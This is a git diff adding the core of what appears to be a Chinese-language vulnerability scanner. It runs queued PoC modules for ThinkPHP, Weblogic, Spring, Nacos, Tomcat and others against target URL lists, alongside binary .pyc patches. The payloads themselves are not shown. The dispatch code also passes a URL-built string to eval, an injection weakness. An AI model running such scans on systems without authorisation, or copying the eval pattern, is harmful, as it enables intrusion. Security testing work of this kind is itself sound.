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 MJ?OFGPZ^l}FEJ6Z?f?J) literal 0 HcmV?d00001 diff --git a/lib/core/coreScan.py b/lib/core/coreScan.py new file mode 100644 index 0000000..d0beb1c --- /dev/null +++ b/lib/core/coreScan.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +from lib.initial.config import config +from lib.tool.logger import logger +from lib.tool import check +from lib.report import output +from payloads.AlibabaDruid import alidruid +from payloads.AlibabaNacos import nacos +from payloads.ApacheTomcat import tomcat +from payloads.Cisco import cisco +from payloads.ThinkPHP import thinkphp +# from payloads.Keycloak import keycloak +from payloads.Spring import spring +from payloads.Weblogic import weblogic +from payloads.Yonyou import yonyou +from thirdparty.tqdm import tqdm +from queue import Queue +from time import sleep +from os import _exit + +class coreScan(): + def __init__(self): + self.thread = config.get('thread') # * 线程数 + self.delay = config.get('delay') # * 延时 + self.url_list = config.get('url_list') # * url列表 + self.app_list = config.get('app_list') # * 框架列表 + self.thread_list = [] # * 已经运行的线程列表 + self.results = [] # * 结果列表 + self.queue = Queue() # * 创建线程池 + self.txt_filename = config.get('txt_filename') + self.json_filename = config.get('json_filename') + # self.self_modify = ['thread', 'delay'] + # self.global_modify = ['timeout', 'http-proxy', 'user-agent', 'log'] + + def start(self): + ''' 开始扫描, 添加poc并启动 ''' + for u in self.url_list: # * 遍历urls + logger.info('yellow_ex', '[INFO] Start scanning target ' + u) # ? 提示, 开始扫描当前url + if check.check_connect(u): + self.addPOC(u) # * 为url添加poc 并加入线程池 + self.scanning() # * 开始扫描该url + else: + logger.info('red', '[WARN] Unable to connect to ' + u) # ? 提示, 无法访问当前url + continue + self.end() # * 扫描结束, 处理所有poc扫描结果 + + def addPOC(self, url): # * 为相应url添加poc + ''' 为某个url添加相应poc ''' + try: + for app in self.app_list: # * 根据框架列表app_list, 获取相应poc + app = app.lower() # * 转小写 + pocs = eval('{}.addscan("{}")'.format(app, url)) + for poc in pocs: # * 将每个poc加入线程池 + self.queue.put(poc) + except NameError: + logger.info('red_ex', '[ERROR] The application not found: ' + app) # ? 出错, 未找到该框架 + logger.info('reset', '', notime=True, print_end='') # * 重置文字颜色 + _exit(0) + except: + logger.info('red_ex', '[ERROR] The addPOC is error') # ? 出错, 添加poc时出现错误 + logger.info('reset', '', notime=True, print_end='') # * 重置文字颜色 + _exit(0) + + def scanning(self): + ''' 正在扫描, 根据线程数启动poc ''' + queue_thread = int(self.queue.qsize() / self.thread)+1 # * 循环次数 + queue_thread = 1 if queue_thread <=0 else queue_thread # * 最小为1 + + for q in tqdm(range(queue_thread), ncols=65, unit='poc'): # * 单个url的扫描进度条 + try: + for i in range(self.thread): # * 根据线程数, 每次运行相应次数的poc + if not self.queue.empty(): # * 如果线程池不为空, 开始扫描 + t = self.queue.get() # * 从线程池取出一个poc + t.start() # * 运行一个poc + self.thread_list.append(t) # * 往线程列表添加一个已经运行的poc + else: + break # * 如果线程池为空, 结束扫描 + sleep(self.delay) # * 扫描时间间隔 + except KeyboardInterrupt: + if self.stop(): + continue + def stop(self): + ''' # ! 功能还没写好 + Ctrl+C暂停扫描 + q(uit) 退出扫描 + c(ontinue) 继续扫描 + m(odify) (还没写好)修改参数, 输入参数名和值(如-t 3)然后回车, 修改相应参数, 并继续扫描 + wq(save and exit) 等待已经运行的poc, 保存并输出已有的漏洞结果, 有--output参数的话则同步保存至文件 + ''' + while True: + logger.info('reset', '[CTRL+C] q(uit)/c(ontinue)/wq(save and exit): ') # ? 提示信息 + operation = input('\r'.ljust(70)) # * 接收参数 + if operation == 'q': # * 退出 + _exit(0) + elif operation == 'c': # * 继续扫描 + logger.info('yellow_ex', '[INFO] Continue to scan') # ? 日志, 继续扫描 + return True + elif operation == 'wq': # * 保存退出 + self.end() + + def end(self): + ''' 结束扫描, 等待所有线程运行完毕, 生成漏洞结果并输出/保存''' + logger.info('cyan_ex', '[INFO] Wait for all threads to finish. Please wait...') # ? 日志, 等待所有线程运行完毕, 时间长短取决于timeout参数 + for t in self.thread_list: # * 遍历线程列表 + t.join() # * 阻塞未完成的子线程, 等待主线程运行完毕 + self.results.append(t.get_result()) # * 添加扫描结果 + output.output_info(self.results) # * output处理扫描结果, 在命令行输出结果信息 + + if self.txt_filename: # * 是否保存结果为.txt + output.output_text(self.results, self.txt_filename) + if self.json_filename: # * 是否保存结果为.json + output.output_json(self.results, self.json_filename) + + logger.info('yellow_ex', '[INFO] Scan is completed') # ? 日志, 扫描完全结束, 退出运行 + logger.info('reset', '', notime=True, print_end='') # * 重置文字颜色 + print('\r'.ljust(70), end='\r') # * 解决wq的BUG + _exit(0) + +corescan = coreScan() \ No newline at end of file diff --git a/lib/initial/__pycache__/banner.cpython-38.pyc b/lib/initial/__pycache__/banner.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..0276970aafa43603446d97b61a2da5eb7e70c212 GIT binary patch literal 1230 zcmdT^&1=*^6rai0#<&%49y`a)rCUApAR=e$_OFMwZi?3ZEi^aV4Csk1y2tAXQIxp?Z zFOj$cN~tS0Az)Ps(VY*3IN=oB`b;!pmyv?jmS!7YFjEqbv`9V!__CrN|ie{f*(my^Bwd5r<00OmA_2;?c;j^ zT>Nh0!KYX61TY>(&DVc4d!w2^zvcB%e|6KFVVAc(p}&0%v^hR-A6V~!SZt4W&YT6a zT)Wnpvon4RxZu{c-dlgp&pCLYy>qVpHxBI>b|^S79N8CCFX@fbvdoNXd4y$hvr@-B zhr$ig>-%b D=)@{V literal 0 HcmV?d00001 diff --git a/lib/initial/__pycache__/config.cpython-38.pyc b/lib/initial/__pycache__/config.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..882fbd03e4005efc38d3413c7e273cee8e038880 GIT binary patch literal 1795 zcmZV;+iu)MbY^^6$JuPsBuy2mpe>h*jdFPaL4_LBHbn@8B2d!@MvE-RGub$CY-h%s zn;Z#|MpWXGJ^<=N5eYAl7X%-`E8l?pindjLAws}8HmOoE);V)7KG&HucLxSs0_)mG zA1?mTN64SZoL>eoHvsemAVD}0RIrGyG0rG?hX_NM_lPj}7&n9^?0bZpqIQS0obE6f zxJ_8SgHIoS^UKNpmrs8C**yU%Y0<(-{b1GaNFAWy{9?e|0MIW1l7v%;$}lSUHmZ0K zql#r!u?l-GiI>7ofVOAL0RmwTKrc{2GO|Js*%6_nLvrdFIbAW;Rlvrfh4c}nB)$cd zt(LPI?t65Xwscg@^9bTO+V26W}4^sxS3$@PPcm0R%d2L3CI zap=;jp}qpze1nuWb@hj^cJ16&zk{~{Vdge?176thhkfQ%)N*^DjT6jo{UJ(4Z5Aqk z-Iyio8|NiZNtFdk8^RHN!WI3GAVY5uBtr~K_!9Z}@7i#gq+Iq}8>fpfkzUr@IoC;z}Yr86hk@e^n^QHXY~ z_-Pu2fuDs*JhL^mxw$#Dl&H0-u8L$FBtnWEV`65au!1PjvSseLcePYgH#;)UcIt4d z84yzo+o|OC%^;9z#$AxcGC+?l#?9p{OSy$ubH|TDp}L{qRuJkS;ZC+3#;fUa%Iz#! zgEY7m`$3|)ty2}o9qw$(#VF~70k^l4csuD9h95+3InLZhEioL3UeupWML-26n#qiA_`-v6^>a^Q!Z1Q#LkkC(Dg#SHo3p~)@WHUZ6D5m& zeVbs+Z){on%ag2wZk~fLO*H;dZ74s`(o25{&uWU)UyWL8LVc0`Yg&b!;fc&P!2z~ zJ|`8BmUzcc9J9`&i9F!rpAb^Q0V_wIk!`|z>% literal 0 HcmV?d00001 diff --git a/lib/initial/__pycache__/language.cpython-38.pyc b/lib/initial/__pycache__/language.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..5fc22025801bc676d434b20b956b6304acdcfb80 GIT binary patch literal 2786 zcmcIm>u(fQ6yJ6qUAk0WA|QfSK-s~4v>?({V{FO?V+ats5VNV-O!wY)M`mXxGxt(< zK2_co$Pz3T>q;SlR0uCaYH1<;AN*wIgJ0a4-Te=YuXygvwk!&MFglyw-h0lu=l;$) zzk6o(x3#tU;JNwzzW&G(pYJEWXnZ2Dco+VRZ(+c`v=2Ao=3~Be6ZYc(4&o4Q!QoO6 zFT$-jf*0d9{2X3_m*QomFkX&V;OFtmk{`c-SK-xo4Sul{z-#eKcpY93(w8y9uauhc zhEfQ;ZN!`KtN69Lx6L?;1-u2nj$=4p_m;rPy0>=Rfw$JZZNqQ4-nKV*d$ZJ>ZpJ%$ zeL^Se0pP6&p6Z=j)yd&5ch1-GTrwWd5m~E@AFH0e=X`eZsjBkyEw0LfnuEA{JX87nagAqD@c?KGlV89AdAZ2H$FW8cJA;?XHQq(euL;nUn(al2ltA& zZznMhQdR3a#N@0<`(&xVPf{c*iElkV#B>=&Nn$X8;tb^|)w+_&p`oD!IV|QinIy7mJ}H4tQO$aNS* z%;pf5bdsg2UO?&qqB+-%5VV3+qB5}pikK&sADmbL4#8Rk)}EJic#lRURS{)#&HM}v zFeS@{NOg6FxgiBE6_)P@VD14r5wU@ym<)&zLKoU5m}_?uSu7wb$p)t=Zcn5$AC zRvCRl)6p)NJGkffQmMU3KJ+3@R}UBF{6(q~tG|vv6e~%o97BqqeRNckMS!0Txl|&3z z)?gPy2GK-aqy(e>0?;I%7a@@@uPA4;meWuYc6rm-5a|aDQdVdPN|a?m@Hd1N5g#K= z2YSUr#9YQlkHR`JpnQfYyCRO;Wp-VRBn72DNOAmmk;agsBDh2f(ZzmAmS_PDNwN%5 ziXbB(r4TBx%c!$94(ZbvjZ<=%BG0AAVda^pz2CcM_kVfZM~12hLZC4p9;gflWku=> zZk7)2k_<@2@&iwVD1*>kdO#vW2y%-wu^_7=ej>#I*CyJ_G)>ic@fvDsM0-SoKq3vI z7|?VM5y5<`Tb6d}Ov16OWMtLYLP3GfK&6->W>q6*XgYL=g(Alas!~vy(EKdmD_`7p zE}vuqi0!i%%F{R8ZfAder0Xx;u3wZe^LicYbSQD-UZO@%d=B4RGuEL zUO59JXi(I1^|;5e^{}}%eBOR^-a`Nf^38XO_Pry3#(s3c1!))W)P_gwPbR8IAHk${ zJ1aADmC4i2g}W$Po4r`QeU*17*QY%@Rh^q~#-?gx_mh?D=N}vJ9>vzd=IYdO z&_B%tnibmy7Q7uK`Cyc1zp9)&F^~TrdKFv2J)gV*DJ?%3;jbsJQ?ZR8cgC*Sb7PfT zBbAx!G33SMHmZ5>9Rgd+?HWrme$1;%<=(7)=`aICXY8``u;|>s1oIAC7Q4 z1zXG$=|Z$mja9Eqx|MS#u2o8>osnT+^Iq@%yG(FK?>J{Z24*%UJsKD7;t^mUXZczC z%nW4QzIxrhTeMGnF2MEWA2)gv47&xt)so3zHJiz}pBcKJs}{axyjc)rR`~6_ikVE_ y;Y#Be41rL%rMap8`!x_=n0vCH0})s9dmvQT{1))+J;@(|9|OX|o`1Lhhd%+m%@pnc literal 0 HcmV?d00001 diff --git a/lib/initial/__pycache__/list.cpython-38.pyc b/lib/initial/__pycache__/list.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..5d84c853d168a9152cd0aaeac69829c53f9d0772 GIT binary patch literal 1856 zcmb7E|4$ob7{6~V*HWM`w!t=MotvgvI@+$lFvf@l^cO4A!t{bMN8cNqTzha|RBB0B zz=2^ITf*2d%(U5-A(}Nr;^qqSi}8=RU*)dtpP(_(=Z->(%tYVoz4v@R@8@}*_j$jx zzoy2CLCdP|5B=)Ku-{Bj*=hm239q~f9l{VUUI!%8gDl3sYwFH$PAvwGX$ctcosKxz}bK!ki8iLzUmN9 zTfE~C@3i>p3f^VKsj>Ll3ck+FGk$7sX5(&!RH%$Cjb-s^*c8Q{sY33oxjpqza)a6k zrFe|HKNlW6Gd35Djc@e1JH_m(N5fL7^S*=apBP3DP!*uUJQ(A@p!3d@E$#VYGF>tc zSBf%C&Hkw>e9WU#Jy05@OpI}*YSXkQIAugcC5I`sfz*-Ksu3s0C4Nld#bn86s&J=- z!#CokHQEZ4ydrA$E25NO70o7mqRQ|YllY_}5vHDsPq0ailqY13;y&jUFUeSb0xv5J z2@y1khY;Ul(lL<#5emOH*e`REJQy3{lcT*X8tmfaQAHdZ1Z|vE1_gd-kWcao&kA76 z%7w8BjWUfY@Rv_OhY=J`6EyC^8}X*{Zf;@Yr zI=qx*1F2-jl*|Q@tRYiffnV{-YT>)(;>_2^%J;@%UZ2hHmk{&?gB@+H4A~d% zR?mQY)ZFZ0PmjbVxX(msw79)eSe@U=-!EjY8ecssX0NB}!jXY4s6TMY7YucTg6e5A z?aG?IIi=ss>6_2=IY^l+EUxRh&Eo6^gig7`k+M^VKi~_6TCHS8=Bd6tU0BceapNi{ zE6+)`x7L1NAk^OKSIrY~nHv(sVLlE!Qd+)QTDxA%T`lBq7q@5k=LUOo(I04QSI>gJ zu(+x(%tykWw>UN#9pMCFH<5m8YbXC;w1F7>G8y}aVsb)My*7=8s23Db6s+4Q9f6rzmq0TA5UeX#(H#d) wqhC*mNENs@C_wTx=v?M)I!fTy^C$He;ryR=!*lgj`|R(8d*7~%Ua46B8{R}iH2?qr literal 0 HcmV?d00001 diff --git a/lib/initial/__pycache__/parse.cpython-38.pyc b/lib/initial/__pycache__/parse.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..63cba5dc3034f8223e7ba0d19520d9c483bf9838 GIT binary patch literal 2011 zcmb7F&2!sC6qhAgc4WH^X`!TbTT#AZU~Q-QpiMi4nL;@cI?xO=JD$;~-i@tBmNctX z;%J-;aNrWSz;Go8272SfAEOg9Of%$P=!y3v*^^9rVdY)FeZTj;Z>6n9!&G2AU|&A| zy{0Jt;O6vDVe>J}XcZQwP=%G4>Xk++RZB=~o;K2{p3%Bj9vRdCy3CC46k1`Guas6b zUI10og7NIfZ;pTd^Z19~j(_^gJOQrqw3JqMxrp4rZM4 z(MQ?or~-lWKFnwp0+ht_%R$wMb)(;`{3~jJ;fS#YB=g*+?>=m}aE)<#zfL%N+gJ$mY)tOJEa-Z5n1D~(4 zOYC*F$S#8>Vv8_ypNL)otjVqxSTn=WDq`0FyUwfvyM6|H10ubVMT$0WoWb4%>@D_o zq4&-i>|LN-h+K!Ii&I|^ob6!yw5%WtAw>d6ETu$V&!tp&P)@jT(dkW zgJu`>ma|9^xtZx{`>9rk%NNaZ$-i2-^avRe=ba&N)Bz-}KxD;AM# z%(RfowJLz=M+&s%o%kH|PtlUkzW?Rlqd%-9-HM?5Hmq=84g-J1+Ks)wBirG=bvMY` zF}i1dI(9~($D<9)d{KfhQRn|jTg0*C(Dir1VQ3NJ1p{m4 zWfr!rSa@wYmKKrLa`$B-#B(EQCiAmo$a1^e?wSJcHmylV47jw1+zZpPbfw2r-FHSj zQAwPX2?6`55lP|tgH(gfW=l_XxgUZU%v+j(7m$(~P9HD6Xkc`WyzGvb#RsNjQYAzV1$S7gxxP$| zd~>3Kcv2yRanISO=t!YlRAVZBdy zv?GJCmtTsW=RWSazAIhF>t&wc&Zp&!s)L273yY!}s&1&yjcT)W4W6ck|IO)xJDBjm zdRc9%;wtEDwyJ5xwpq}(Z92#OC>A_)LxJr|FM`{4;kG^f_GM+t^2<}kf@P+%Tuv=b Y0MhE+QNUu4-^1cY_*vBTdI=u&KNJitEC2ui literal 0 HcmV?d00001 diff --git a/lib/initial/banner.py b/lib/initial/banner.py new file mode 100644 index 0000000..760f892 --- /dev/null +++ b/lib/initial/banner.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +from lib.tool import color +from random import randint + +banner_0 = ''' + ___ _____ + _ _ _ _ | | ____ ____ [_____] + | \ / /| | | | | | / ___) / _ ] | | + \ \/ / | (_/ | | |__ ( (___ ( [_] | | | + \__/ (____ ]/[_____] \____) \____]/ [_] +''' + +banner_1 = ''' + ___ _____ + _ _ _ _ | | ____ ____ [_____] + | \ / /| | | | | | / ___) / _ ] | | + \ \/ / | (_/ | | |__ ( (___ ( [_] | | | n_n + \__/ (__・ ・}/[_____] \____) \____]/ [_](• •)/ +''' + +banner_2 = ''' + ___ _____ + _ _ _ _ | | ____ ____ [_____] + | \ / /| | | | | | u_u/ ___) / _ ] | | + \ \/ / | (_/ | | |_・ ・}(___ ( [_] | | | + \__/ (____ ]/[_____] \____) \_• •)/ [_] +''' + +def banner(): + num = randint(0, 2) + banner_x = eval('banner_' + str(num)) + print(color.red_ex(banner_x), end=color.reset('\n')) \ No newline at end of file diff --git a/lib/initial/config.py b/lib/initial/config.py new file mode 100644 index 0000000..1730202 --- /dev/null +++ b/lib/initial/config.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + 参数配置 +''' + +from thirdparty.requests import packages + +global config + +class Config(): + + def __init__(self, args): + # global global_args + packages.urllib3.disable_warnings() # * requests忽略ssl证书警告 + + args.url_list = [] # * url列表 + if args.url: + args.url_list.append(args.url) + elif args.file: + f = open(args.file) + urls = f.readlines() + f.close() + for url in urls: + url = url.replace('\n', '') # * 文件中的换行符 + args.url_list.append(url) + + url_list_temp = args.url_list.copy() + for url in url_list_temp: + if url[-1] != '/': # * url最后的斜杠/ + url += '/' + if args.recursive: # * -r参数 + url_index = 8 + while url_index: + url_index = url.find('/', url_index) + url_index += 1 + args.url_list.append(url[0:url_index]) + else: + del args.url_list[0] + del args.url_list[-1] + else: + del args.url_list[0] + args.url_list.append(url) + + args.headers = { + 'User-Agent': args.ua, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': '*/*', + 'Connection': 'close' + } + + args.proxies = { + 'http': args.http_proxy, + 'https': args.http_proxy + } + + app_list = ['alidruid', 'cisco', 'thinkphp', 'tomcat', 'nacos', 'spring', 'weblogic', 'yonyou'] + if args.application == 'all': # * -a参数 + args.app_list = app_list + else: + args.app_list = args.application.split(',') + + self.global_args = vars(args) # * 转为字典 + + def get(self, arg): + return self.global_args[arg] + + def set(self, arg, value): + self.global_args[arg] = value + return + +def config_init(args): + ''' 参数初始化, 生成全局变量 ''' + global config + config = Config(args) diff --git a/lib/initial/language.py b/lib/initial/language.py new file mode 100644 index 0000000..a0b7817 --- /dev/null +++ b/lib/initial/language.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + 语言: + -h/--help的英文 + -h/--help的中文 +''' + +def language(): + return lang['zh_cn'] + return lang['en_us'] + +lang = { + 'en_us': { + 'target_help': { + 'title': 'Target', + 'name': 'Specify scan target', + 'url': 'A url (e.g. -u http://www.example.com/)', + 'file': 'A file containing multiple urls, one URL per line (e.g. -f url.txt)', + 'recursive': 'Recursively scan each directory of the URL' + }, + 'optional_help': { + 'title': 'Optional', + 'name': 'Optional function options', + 'thread': 'The number of threads (default: 3)', + 'delay': 'Delay time/s (default: 0.5)', + 'timeout': 'Timeout/s (default: 10)', + 'http_proxy': 'The HTTP/HTTPS proxy (e.g. --http-proxy 127.0.0.1:8080)', + 'user_agent': 'Customize the User-Agent', + 'log': 'The log level, Optional 1-3 (default: 1)' + }, + 'application_help': { + 'title': 'Application', + 'name': 'Specify the target type for the scan', + 'application': 'Specifies the target type, separated by commas (e.g. thinkphp / thinkphp,weblogic) (default: all)' + }, + 'save_help': { + 'title': 'Save', + 'name': 'Save scan results', + 'output_text': 'Save the scan results in TXT format, no vulnerability will not generate files(e.g. --output-text result.txt)', + 'output_json': 'Save the scan results in JSON format, no vulnerability will not generate files(e.g. --output-text result.json)' + }, + 'lists_help': { + 'title': 'Lists', + 'name': 'Vulnerability list', + 'list': 'View all payload' + }, + 'app_list_help': { + 'title': 'Supported target types(Case insensitive)', + 'name': 'AliDruid,cisco,thinkphp,tomcat,nacos,spring,weblogic,yonyou' + } + }, + 'zh_cn': { + 'target_help': { + 'title': 'Target', + 'name': '指定扫描目标', + 'url': '单个url (如: -u http://www.baidu.com/)', + 'file': '含有多个url的文件, 一行一个 (如: -f url.txt)', + 'recursive': '递归扫描url的每层目录' + }, + 'optional_help': { + 'title': 'Optional', + 'name': '可选功能选项', + 'thread': '线程数 (默认: 3)', + 'delay': '延迟时间/秒 (默认: 0.5)', + 'timeout': '超时时间/秒 (默认: 10)', + 'http_proxy': 'http/https代理 (如: --http-proxy 127.0.0.1:8080)', + 'user_agent': '自定义User-Agent', + 'log': '日志等级, 可选1-3 (默认: 1)' + }, + 'application_help': { + 'title': 'Application', + 'name': '指定扫描的目标类型', + 'application': '指定目标类型, 多个使用逗号分隔 (如: thinkphp 或者 thinkphp,weblogic) (默认为全部)' + }, + 